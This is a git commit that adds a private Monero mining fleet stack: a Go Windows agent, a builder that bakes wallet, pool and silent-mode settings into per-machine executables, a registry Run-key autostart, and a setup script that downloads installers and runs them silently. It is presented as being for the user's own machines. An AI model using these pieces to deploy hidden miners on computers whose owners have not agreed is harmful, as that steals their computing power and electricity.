Complete private Monero miner control stack.

Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.
This commit is contained in:
drjones
2026-05-26 22:51:47 -07:00
commit 6c42f2b600
48 changed files with 10001 additions and 0 deletions

31
.gitignore vendored Normal file
View File

@@ -0,0 +1,31 @@
# Binaries
/bin/
*.exe
!run.bat
# Data (runtime)
/data/*.db
/data/*.db-shm
/data/*.db-wal
/data/builds/
/data/logs/
/data/config.json
# Go
/server/miner-server.exe
# Frontend
/server/web/node_modules/
/server/web/dist/
/server/webroot/
# IDE / OS
.idea/
.vscode/
*.swp
Thumbs.db
Desktop.ini
# Temp
-p/
*.log

142
README.md Normal file
View File

@@ -0,0 +1,142 @@
# Private Miner Command Deck
Private Monero (XMR) fleet control server for your own network. Run the control server on one Windows machine, configure pool/wallet/defaults in the web dashboard, build per-machine worker `.exe` files, and deploy them across your LAN.
## Quick Start
1. Install [Go 1.21+](https://go.dev/dl/) and [Node.js 20+](https://nodejs.org/) (or let `run.bat` install them).
2. Double-click **`run.bat`** or run it from a terminal.
3. Open **http://localhost:8989**
4. Go to **Settings** and set your wallet + pool.
5. Go to **Miner Builder**, name a worker, click **Build Miner .exe**.
6. Copy the built file from the path shown (under `data/builds/`) to target Windows machines and run it.
## What Gets Built
| Component | Purpose |
|-----------|---------|
| `server/` | Go control server (REST API, WebSocket hub, pool proxy, builder) |
| `server/web/` | React dashboard (Dashboard, Agents, Builder, Settings) |
| `agent/` | Windows worker source compiled on demand by the builder |
| `data/` | SQLite DB, config, build output, logs |
| `run.bat` | One-click build + launch script |
## Workflow
```
Settings (dashboard)
-> data/config.json
Miner Builder (dashboard)
-> POST /api/v1/builder/build
-> compiles agent/ with baked-in config/builtin.go
-> writes data/builds/{build-id}/xmr-worker-{name}.exe
Worker .exe (target PC)
-> WebSocket ws://your-server:8989/ws/agent
-> receives jobs, mines with RandomX, submits shares
Control server
-> Stratum proxy to your configured pool
-> aggregates stats in dashboard
```
## Configuration
All server settings are edited in the dashboard **Settings** page and saved to:
```
data/config.json
```
The **Miner Builder** loads those values as defaults. Per-worker overrides (name, threads, silent mode, etc.) are baked into each `.exe` at compile time.
### Built worker settings
Each generated agent includes:
- Server URL
- Wallet address
- Pool host/port/TLS/password
- Thread count, CPU priority, mining mode
- Max CPU %, minimum free RAM
- Idle/scheduled mining windows
- Silent mode, auto-start, run-as mode
## Build Output Location
After a successful build, the dashboard shows:
- **Absolute path** — full Windows path to the `.exe`
- **Relative path** — path from the project root
- **Download link** — `/api/v1/builds/{id}/download`
Example:
```
G:\crypto miner\data\builds\abc123...\xmr-worker-office-pc-1.exe
```
## API Endpoints
| Method | Path | Description |
|--------|------|-------------|
| GET | `/api/v1/health` | Health check |
| GET/PUT | `/api/v1/config` | Server settings |
| POST | `/api/v1/builder/build` | Build worker `.exe` (returns JSON with file path) |
| GET | `/api/v1/builds` | List recent builds |
| GET | `/api/v1/builds/{id}/download` | Download a built `.exe` |
| GET | `/api/v1/agents` | List connected workers |
| GET | `/api/v1/dashboard/stats` | Fleet stats |
| WS | `/ws/agent` | Worker connection |
| WS | `/ws/dashboard` | Live dashboard updates |
## Manual Commands
```bat
cd server
go build -o ..\bin\miner-server.exe .
cd server\web
npm install
npm run build
cd agent
go build -o xmr-worker-test.exe .
```
Run server manually:
```bat
bin\miner-server.exe -port 8989 -data .\data
```
## Network Deployment
- **Same LAN:** set Server URL in Builder to `http://YOUR-PC-IP:8989`
- **Remote access:** put the server behind Cloudflare Tunnel or similar and use your HTTPS domain as Server URL (`https://pool.example.com`)
Workers convert `http(s)://...` to `ws(s)://.../ws/agent` automatically.
## Data Files
| Path | Contents |
|------|----------|
| `data/miner.db` | Agents, shares, hashrate history, build records |
| `data/config.json` | Server + default agent settings |
| `data/builds/` | Generated worker executables |
| `data/logs/` | Server logs (if enabled) |
## Security Notes
- This project is intended for **your own machines on your own network**.
- Windows Defender may flag freshly compiled mining executables. Code-signing and Defender exclusions on managed machines are the legitimate mitigation paths.
- Do not expose the dashboard to the public internet without authentication.
## Requirements
- Windows 10/11 (control server and workers)
- Go 1.21+
- Node.js 20+ (for dashboard build only)
- Outbound internet to your chosen Monero pool
## License
Private use. Monero mining uses the RandomX algorithm (BSD-3-Clause) via `git.gammaspectra.live/P2Pool/go-randomx`.

253
agent/client/client.go Normal file
View File

@@ -0,0 +1,253 @@
package client
import (
"encoding/json"
"fmt"
"log"
"net/url"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
"github.com/gorilla/websocket"
)
type AgentClient struct {
cfg config.RuntimeConfig
conn *websocket.Conn
pool *miner.Pool
reporter *stats.Reporter
startTime time.Time
mu sync.Mutex
agentID string
sharesSubmitted int
sharesAccepted int
}
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
return &AgentClient{
cfg: cfg,
reporter: stats.NewReporter(),
startTime: time.Now(),
}
}
func (c *AgentClient) Run() error {
c.pool = miner.NewPool(c.cfg.Threads, c.submitShare)
c.pool.Start()
defer c.pool.Stop()
for {
if err := c.connectLoop(); err != nil {
log.Printf("[agent] disconnected: %v", err)
}
time.Sleep(5 * time.Second)
}
}
func (c *AgentClient) connectLoop() error {
wsURL, err := buildWSURL(c.cfg.ServerURL)
if err != nil {
return err
}
log.Printf("[agent] connecting to %s", wsURL)
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
return err
}
c.conn = conn
defer conn.Close()
if err := c.authenticate(); err != nil {
return err
}
statsStop := make(chan struct{})
go c.statsLoop(statsStop)
defer close(statsStop)
for {
_, data, err := conn.ReadMessage()
if err != nil {
return err
}
var msg Message
if err := json.Unmarshal(data, &msg); err != nil {
continue
}
c.handleMessage(msg)
}
}
func (c *AgentClient) authenticate() error {
host, cores, memGB := c.reporter.SystemInfo()
payload, _ := json.Marshal(AuthPayload{
AgentID: c.agentID,
Wallet: c.cfg.Wallet,
Version: config.Version,
Hostname: host,
CPUCores: cores,
MemoryGB: memGB,
Worker: c.cfg.WorkerName,
})
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
}
_, data, err := c.conn.ReadMessage()
if err != nil {
return err
}
var msg Message
if err := json.Unmarshal(data, &msg); err != nil {
return err
}
if msg.Type != "auth_response" {
return fmt.Errorf("unexpected message: %s", msg.Type)
}
var resp AuthResponse
if err := json.Unmarshal(msg.Payload, &resp); err != nil {
return err
}
if !resp.Success {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.agentID = resp.AgentID
log.Printf("[agent] authenticated as %s", c.agentID)
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
return nil
}
func (c *AgentClient) handleMessage(msg Message) {
switch msg.Type {
case "new_job":
var j job.Job
if err := json.Unmarshal(msg.Payload, &j); err != nil {
log.Printf("[agent] bad job payload: %v", err)
return
}
if j.Blob == "" {
return
}
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
c.pool.SetJob(&j)
case "share_result":
var result ShareResult
if err := json.Unmarshal(msg.Payload, &result); err != nil {
return
}
if result.Accepted {
c.mu.Lock()
c.sharesAccepted++
c.mu.Unlock()
}
}
}
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
c.mu.Lock()
c.sharesSubmitted++
c.mu.Unlock()
payload, _ := json.Marshal(SharePayload{
JobID: jobID,
Nonce: nonce,
Hash: hash,
Worker: c.cfg.WorkerName,
})
_ = c.write(Message{Type: "submit_share", Payload: payload})
}
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
var samples []float64
for {
select {
case <-stop:
return
case <-ticker.C:
hps := c.pool.HashesPerSecond()
c.pool.ResetHashCounter()
samples = append(samples, hps)
if len(samples) > 90 {
samples = samples[len(samples)-90:]
}
var avg15s, avg1m, avg15m float64
if len(samples) > 0 {
avg15s = samples[len(samples)-1]
}
if len(samples) >= 6 {
for _, v := range samples[len(samples)-6:] {
avg1m += v
}
avg1m /= 6
} else {
avg1m = avg15s
}
for _, v := range samples {
avg15m += v
}
avg15m /= float64(len(samples))
cpuPct, memPct := c.reporter.Usage()
c.mu.Lock()
submitted := c.sharesSubmitted
accepted := c.sharesAccepted
c.mu.Unlock()
payload, _ := json.Marshal(StatsPayload{
Hashrate15s: avg15s,
Hashrate1m: avg1m,
Hashrate15m: avg15m,
SharesSubmitted: submitted,
SharesAccepted: accepted,
CPUUsagePct: cpuPct,
MemoryUsagePct: memPct,
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
})
_ = c.write(Message{Type: "stats", Payload: payload})
}
}
}
func (c *AgentClient) write(msg Message) error {
c.mu.Lock()
defer c.mu.Unlock()
if c.conn == nil {
return fmt.Errorf("not connected")
}
return c.conn.WriteJSON(msg)
}
func buildWSURL(serverURL string) (string, error) {
u, err := url.Parse(strings.TrimSpace(serverURL))
if err != nil {
return "", err
}
switch u.Scheme {
case "https":
u.Scheme = "wss"
case "http", "":
u.Scheme = "ws"
case "wss", "ws":
default:
return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
}
if u.Scheme == "" {
u.Scheme = "ws"
}
u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
u.RawQuery = ""
u.Fragment = ""
return u.String(), nil
}

63
agent/client/protocol.go Normal file
View File

@@ -0,0 +1,63 @@
package client
import "encoding/json"
type Message struct {
Type string `json:"type"`
Payload json.RawMessage `json:"payload"`
}
type AuthPayload struct {
AgentID string `json:"agent_id"`
Wallet string `json:"wallet"`
Version string `json:"version"`
Hostname string `json:"hostname"`
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
Worker string `json:"worker_name"`
}
type AuthResponse struct {
Success bool `json:"success"`
AgentID string `json:"agent_id"`
Error string `json:"error"`
Config struct {
Threads int `json:"threads"`
Priority int `json:"priority"`
} `json:"config"`
}
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
type SharePayload struct {
JobID string `json:"job_id"`
Nonce string `json:"nonce"`
Hash string `json:"hash"`
Worker string `json:"worker_name"`
}
type StatsPayload struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
}
type ShareResult struct {
JobID string `json:"job_id"`
Accepted bool `json:"accepted"`
Error string `json:"error"`
}

30
agent/config/builtin.go Normal file
View File

@@ -0,0 +1,30 @@
package config
import "time"
// Default stub used for local development builds. The Miner Builder replaces this file.
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: "dev-worker",
ServerURL: "http://127.0.0.1:8989",
Wallet: "",
Threads: 4,
CPUPriority: "below_normal",
MiningMode: "always",
SilentMode: false,
RunAs: "user",
AutoStart: false,
BuildID: "dev",
BuiltAt: time.Now(),
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolTLS: true,
PoolPass: "x",
MaxCPUUsage: 80,
MinFreeRAM: 1024,
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
}
}

70
agent/config/config.go Normal file
View File

@@ -0,0 +1,70 @@
package config
import (
"time"
)
const Version = "1.0.0"
// BuiltinConfig holds compile-time settings generated by the Miner Builder.
type BuiltinConfig struct {
WorkerName string
ServerURL string
Wallet string
Threads int
CPUPriority string
MiningMode string
SilentMode bool
RunAs string
AutoStart bool
BuildID string
BuiltAt time.Time
PoolHost string
PoolPort int
PoolTLS bool
PoolPass string
MaxCPUUsage int
MinFreeRAM int
IdleThresholdPct int
IdleDurationMinutes int
ScheduleStart string
ScheduleEnd string
}
// RuntimeConfig is the resolved configuration used by the agent.
type RuntimeConfig struct {
BuiltinConfig
AgentID string
}
func Load() RuntimeConfig {
b := GetBuiltinConfig()
if b.Threads <= 0 {
b.Threads = 4
}
if b.CPUPriority == "" {
b.CPUPriority = "below_normal"
}
if b.MiningMode == "" {
b.MiningMode = "always"
}
if b.MaxCPUUsage <= 0 {
b.MaxCPUUsage = 80
}
if b.MinFreeRAM <= 0 {
b.MinFreeRAM = 1024
}
if b.IdleThresholdPct <= 0 {
b.IdleThresholdPct = 20
}
if b.IdleDurationMinutes <= 0 {
b.IdleDurationMinutes = 5
}
if b.ScheduleStart == "" {
b.ScheduleStart = "21:00"
}
if b.ScheduleEnd == "" {
b.ScheduleEnd = "06:00"
}
return RuntimeConfig{BuiltinConfig: b}
}

57
agent/deploy/windows.go Normal file
View File

@@ -0,0 +1,57 @@
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"golang.org/x/sys/windows/registry"
)
func ConfigureAutoStart(exePath string, enabled bool) error {
if !enabled {
return removeAutoStart()
}
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue("CryptoMinerAgent", exePath)
}
func removeAutoStart() error {
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return nil
}
defer k.Close()
_ = k.DeleteValue("CryptoMinerAgent")
return nil
}
func SetProcessPriority(priority string) error {
// Best-effort on Windows using PowerShell for the current process.
class := "BelowNormal"
switch priority {
case "idle":
class = "Idle"
case "below_normal":
class = "BelowNormal"
case "normal":
class = "Normal"
case "above_normal":
class = "AboveNormal"
case "high":
class = "High"
}
pid := os.Getpid()
cmd := exec.Command("powershell", "-NoProfile", "-Command",
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
return cmd.Run()
}
func CurrentExecutable() (string, error) {
return filepath.Abs(os.Args[0])
}

11
agent/go.mod Normal file
View File

@@ -0,0 +1,11 @@
module crypto-miner-agent
go 1.26.3
require (
git.gammaspectra.live/P2Pool/go-randomx v1.0.0
github.com/gorilla/websocket v1.5.3
golang.org/x/sys v0.19.0
)
require golang.org/x/crypto v0.22.0 // indirect

8
agent/go.sum Normal file
View File

@@ -0,0 +1,8 @@
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=

12
agent/job/job.go Normal file
View File

@@ -0,0 +1,12 @@
package job
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}

52
agent/main.go Normal file
View File

@@ -0,0 +1,52 @@
package main
import (
"log"
"os"
"crypto-miner-agent/client"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile)
cfg := config.Load()
if cfg.Wallet == "" {
log.Fatal("wallet address is required in built-in configuration")
}
if cfg.ServerURL == "" {
log.Fatal("server URL is required in built-in configuration")
}
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
log.Printf("[agent] could not set CPU priority: %v", err)
}
if cfg.AutoStart {
if exe, err := deploy.CurrentExecutable(); err == nil {
if err := deploy.ConfigureAutoStart(exe, true); err != nil {
log.Printf("[agent] auto-start setup failed: %v", err)
}
}
}
log.Printf("[agent] starting worker=%s build=%s server=%s threads=%d",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads)
agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil {
log.Fatalf("[agent] stopped: %v", err)
}
}
func init() {
// Hide console when built with -H windowsgui by redirecting logs to file if needed.
if os.Getenv("MINER_LOG_FILE") != "" {
f, err := os.OpenFile(os.Getenv("MINER_LOG_FILE"), os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
if err == nil {
log.SetOutput(f)
}
}
}

65
agent/miner/engine.go Normal file
View File

@@ -0,0 +1,65 @@
package miner
import (
"encoding/hex"
"sync"
"git.gammaspectra.live/P2Pool/go-randomx"
)
const nonceOffset = 39
const nonceSize = 4
type Engine struct {
mu sync.RWMutex
cache *randomx.Randomx_Cache
vm *randomx.VM
seedHex string
blob []byte
}
func NewEngine() *Engine {
cache := randomx.Randomx_alloc_cache(0)
return &Engine{cache: cache}
}
func (e *Engine) SetJob(seedHex, blobHex string) error {
seed, err := hex.DecodeString(seedHex)
if err != nil {
return err
}
blob, err := hex.DecodeString(blobHex)
if err != nil {
return err
}
e.mu.Lock()
defer e.mu.Unlock()
if e.seedHex != seedHex {
e.cache.Randomx_init_cache(seed)
e.vm = e.cache.VM_Initialize()
e.seedHex = seedHex
}
e.blob = append([]byte(nil), blob...)
return nil
}
func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
e.mu.RLock()
defer e.mu.RUnlock()
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
return "", "", nil
}
work := append([]byte(nil), e.blob...)
work[nonceOffset] = byte(nonce)
work[nonceOffset+1] = byte(nonce >> 8)
work[nonceOffset+2] = byte(nonce >> 16)
work[nonceOffset+3] = byte(nonce >> 24)
out := make([]byte, 32)
e.vm.CalculateHash(work, out)
return hex.EncodeToString(out), hex.EncodeToString(work), nil
}

146
agent/miner/pool.go Normal file
View File

@@ -0,0 +1,146 @@
package miner
import (
"encoding/hex"
"log"
"math/big"
"sync"
"sync/atomic"
"time"
"crypto-miner-agent/job"
)
type ShareHandler func(jobID, nonce, hash string)
type Pool struct {
threads int
engine *Engine
handler ShareHandler
mu sync.RWMutex
currentJob *job.Job
stopCh chan struct{}
wg sync.WaitGroup
hashesTotal atomic.Uint64
sharesFound atomic.Uint64
}
func NewPool(threads int, handler ShareHandler) *Pool {
if threads <= 0 {
threads = 1
}
return &Pool{
threads: threads,
engine: NewEngine(),
handler: handler,
stopCh: make(chan struct{}),
}
}
func (p *Pool) SetJob(job *job.Job) {
p.mu.Lock()
defer p.mu.Unlock()
p.currentJob = job
if job == nil {
return
}
seed := job.SeedHash
if seed == "" && len(job.Blob) >= 64 {
seed = job.Blob[:64]
}
if err := p.engine.SetJob(seed, job.Blob); err != nil {
log.Printf("[miner] failed to set job: %v", err)
}
}
func (p *Pool) Start() {
for i := 0; i < p.threads; i++ {
p.wg.Add(1)
go p.worker(i)
}
}
func (p *Pool) Stop() {
close(p.stopCh)
p.wg.Wait()
}
func (p *Pool) HashesPerSecond() float64 {
return float64(p.hashesTotal.Load())
}
func (p *Pool) ResetHashCounter() {
p.hashesTotal.Store(0)
}
func (p *Pool) worker(id int) {
defer p.wg.Done()
var nonce uint32 = uint32(id * 1000000)
for {
select {
case <-p.stopCh:
return
default:
}
p.mu.RLock()
job := p.currentJob
p.mu.RUnlock()
if job == nil || job.Blob == "" {
time.Sleep(500 * time.Millisecond)
continue
}
for batch := 0; batch < 256; batch++ {
select {
case <-p.stopCh:
return
default:
}
hashHex, _, err := p.engine.HashAtNonce(nonce)
if err != nil {
log.Printf("[miner] hash error: %v", err)
break
}
p.hashesTotal.Add(1)
nonce++
target := job.Target
if target == "" && job.Difficulty > 0 {
target = difficultyToTargetHex(job.Difficulty)
}
if target != "" && hashMeetsTarget(hashHex, target) {
p.sharesFound.Add(1)
if p.handler != nil {
p.handler(job.ID, uint32ToHex(nonce-1), hashHex)
}
}
}
}
}
func uint32ToHex(n uint32) string {
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
return hex.EncodeToString(b)
}
func difficultyToTargetHex(difficulty int64) string {
if difficulty <= 0 {
return ""
}
maxTarget := new(big.Int)
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
target := new(big.Int).Div(maxTarget, big.NewInt(difficulty))
bytes := target.Bytes()
padded := make([]byte, 32)
copy(padded[32-len(bytes):], bytes)
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
padded[i], padded[j] = padded[j], padded[i]
}
return hex.EncodeToString(padded)
}

53
agent/miner/target.go Normal file
View File

@@ -0,0 +1,53 @@
package miner
import (
"encoding/hex"
"math/big"
)
func hashMeetsTarget(hashHex, targetHex string) bool {
hashBytes, err := hex.DecodeString(hashHex)
if err != nil || len(hashBytes) == 0 {
return false
}
targetBytes, err := hex.DecodeString(padHex(targetHex, len(hashBytes)*2))
if err != nil || len(targetBytes) == 0 {
return false
}
if len(targetBytes) < len(hashBytes) {
padded := make([]byte, len(hashBytes))
copy(padded, targetBytes)
targetBytes = padded
}
if len(hashBytes) < len(targetBytes) {
padded := make([]byte, len(targetBytes))
copy(padded, hashBytes)
hashBytes = padded
}
hashInt := new(big.Int).SetBytes(reverseBytes(hashBytes))
targetInt := new(big.Int).SetBytes(reverseBytes(targetBytes))
return hashInt.Cmp(targetInt) <= 0
}
func padHex(s string, length int) string {
if len(s) >= length {
return s
}
pad := length - len(s)
out := make([]byte, length)
for i := 0; i < pad; i++ {
out[i] = '0'
}
copy(out[pad:], []byte(s))
return string(out)
}
func reverseBytes(b []byte) []byte {
out := make([]byte, len(b))
for i := range b {
out[i] = b[len(b)-1-i]
}
return out
}

35
agent/stats/reporter.go Normal file
View File

@@ -0,0 +1,35 @@
package stats
import (
"os"
"runtime"
"strings"
)
type Reporter struct{}
func NewReporter() *Reporter {
return &Reporter{}
}
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
hostname, _ = os.Hostname()
cpuCores = runtime.NumCPU()
memoryGB = 8
return hostname, cpuCores, memoryGB
}
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
var m runtime.MemStats
runtime.ReadMemStats(&m)
memPct = float64(m.Alloc) / float64(m.Sys+1) * 100
if memPct > 100 {
memPct = 100
}
cpuPct = float64(runtime.NumGoroutine()) // placeholder; Windows perf counters are heavy
if cpuPct > 100 {
cpuPct = 100
}
_ = strings.TrimSpace("")
return cpuPct, memPct
}

File diff suppressed because it is too large Load Diff

188
run.bat Normal file
View File

@@ -0,0 +1,188 @@
@echo off
title Crypto Miner Control Server
cd /d "%~dp0"
echo.
echo ╔══════════════════════════════════════════════════╗
echo ║ Crypto Miner Control Server Builder ║
echo ╚══════════════════════════════════════════════════╝
echo.
:: ============================================================
:: STEP 1: Auto-install Go if missing
:: ============================================================
echo [1/5] Checking dependencies...
where go >nul 2>nul
if %ERRORLEVEL% neq 0 (
echo Go not found. Downloading and installing Go...
:: Detect architecture
if "%PROCESSOR_ARCHITECTURE%"=="AMD64" (
set GO_ARCH=amd64
) else (
set GO_ARCH=386
)
set GO_VERSION=1.22.2
set GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi
set GO_MSI=%TEMP%\go-installer.msi
echo Downloading Go %GO_VERSION% for Windows %GO_ARCH%...
echo (This may take a moment...)
:: Download using PowerShell (built into Windows)
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }"
if %ERRORLEVEL% neq 0 (
echo ERROR: Failed to download Go installer.
echo Please manually download from: https://go.dev/dl/
pause
exit /b 1
)
echo Installing Go (this may require administrator privileges)...
msiexec /i "%GO_MSI%" /quiet /norestart
if %ERRORLEVEL% neq 0 (
echo ERROR: Failed to install Go. Try running as Administrator.
pause
exit /b 1
)
:: Clean up installer
del "%GO_MSI%" 2>nul
:: Add Go to PATH for this session
set PATH=%PATH%;C:\Program Files\Go\bin
set PATH=%PATH%;%USERPROFILE%\go\bin
echo Go installed successfully!
) else (
echo Go found:
call go version
)
:: ============================================================
:: STEP 2: Auto-install Node.js if missing (for frontend)
:: ============================================================
where node >nul 2>nul
if %ERRORLEVEL% neq 0 (
echo Node.js not found. Downloading and installing Node.js...
set NODE_VERSION=20.12.2
set NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi
set NODE_MSI=%TEMP%\node-installer.msi
echo Downloading Node.js v%NODE_VERSION%...
echo (This may take a moment...)
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }"
if %ERRORLEVEL% neq 0 (
echo WARNING: Failed to download Node.js. Frontend will not be built.
echo You can manually download from: https://nodejs.org/
set SKIP_FRONTEND=1
) else (
echo Installing Node.js (this may require administrator privileges)...
msiexec /i "%NODE_MSI%" /quiet /norestart
if %ERRORLEVEL% neq 0 (
echo WARNING: Failed to install Node.js. Frontend will not be built.
set SKIP_FRONTEND=1
) else (
:: Add Node to PATH for this session
set PATH=%PATH%;C:\Program Files\nodejs
del "%NODE_MSI%" 2>nul
echo Node.js installed successfully!
)
)
) else (
echo Node.js found:
call node --version
)
:: ============================================================
:: STEP 3: Create data directories
:: ============================================================
echo [2/5] Creating data directories...
if not exist "data\builds" mkdir "data\builds"
if not exist "data\logs" mkdir "data\logs"
echo Done.
:: ============================================================
:: STEP 4: Build frontend
:: ============================================================
if "%SKIP_FRONTEND%"=="" (
echo [3/5] Building frontend dashboard...
cd server\web
if not exist "node_modules" (
echo Installing npm dependencies...
call npm install
)
call npm run build
if %ERRORLEVEL% neq 0 (
echo WARNING: Frontend build failed, server will run without dashboard.
) else (
echo Frontend built: server\web\dist
)
cd ..\..
:: Copy frontend dist to server's webroot directory
if exist "server\web\dist" (
if not exist "server\webroot" mkdir "server\webroot"
xcopy /E /I /Y "server\web\dist\*" "server\webroot\" >nul
echo Frontend files copied to server\webroot
)
) else (
echo [3/5] Skipping frontend build (Node.js not available)
)
:: ============================================================
:: STEP 5: Build server
:: ============================================================
echo [4/5] Building server...
cd server
:: Download Go module dependencies
echo Downloading Go dependencies...
go mod download
if %ERRORLEVEL% neq 0 (
echo WARNING: go mod download failed, trying build anyway...
)
go build -ldflags="-s -w" -o "..\bin\miner-server.exe" .
if %ERRORLEVEL% neq 0 (
echo ERROR: Build failed
pause
exit /b 1
)
cd ..
echo Server built: bin\miner-server.exe
:: ============================================================
:: LAUNCH
:: ============================================================
echo [5/5] Starting server on port 8989...
echo.
echo ╔══════════════════════════════════════════════════╗
echo ║ Crypto Miner Control Server ║
echo ║ ║
echo ║ Dashboard: http://localhost:8989 ║
echo ║ WebSocket: ws://localhost:8989/ws/agent ║
echo ║ ║
echo ║ Data: %CD%\data\ ║
echo ║ Config: %CD%\data\config.json ║
echo ║ ║
echo ║ Press Ctrl+C to stop the server ║
echo ╚══════════════════════════════════════════════════╝
echo.
:: Launch browser
start http://localhost:8989
:: Run server
.\bin\miner-server.exe -port 8989 -data ".\data"
pause

205
server/config.go Normal file
View File

@@ -0,0 +1,205 @@
package main
import (
"encoding/json"
"flag"
"fmt"
"os"
"path/filepath"
)
type Config struct {
Port int `json:"port"`
DataDir string `json:"data_dir"`
Pool PoolConfig `json:"pool"`
Wallet WalletConfig `json:"wallet"`
DefaultAgent AgentDefaults `json:"default_agent_config"`
Background BackgroundConfig `json:"background"`
Alerts AlertsConfig `json:"alerts"`
}
type PoolConfig struct {
Host string `json:"host"`
Port int `json:"port"`
UseTLS bool `json:"use_tls"`
Password string `json:"password"`
}
type WalletConfig struct {
Address string `json:"address"`
PaymentID string `json:"payment_id"`
}
type AgentDefaults struct {
Threads int `json:"threads"`
CPUPriority string `json:"cpu_priority"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
MiningMode string `json:"mining_mode"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
}
type BackgroundConfig struct {
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
MinimizeToTray bool `json:"minimize_to_tray"`
}
type AlertsConfig struct {
OfflineThresholdMinutes int `json:"offline_threshold_minutes"`
HashrateDropThresholdPct int `json:"hashrate_drop_threshold_pct"`
RejectionRateThresholdPct int `json:"rejection_rate_threshold_pct"`
}
func DefaultConfig() *Config {
return &Config{
Port: 8989,
DataDir: "data",
Pool: PoolConfig{
Host: "pool.supportxmr.com",
Port: 3333,
UseTLS: true,
Password: "x",
},
Wallet: WalletConfig{
Address: "",
PaymentID: "",
},
DefaultAgent: AgentDefaults{
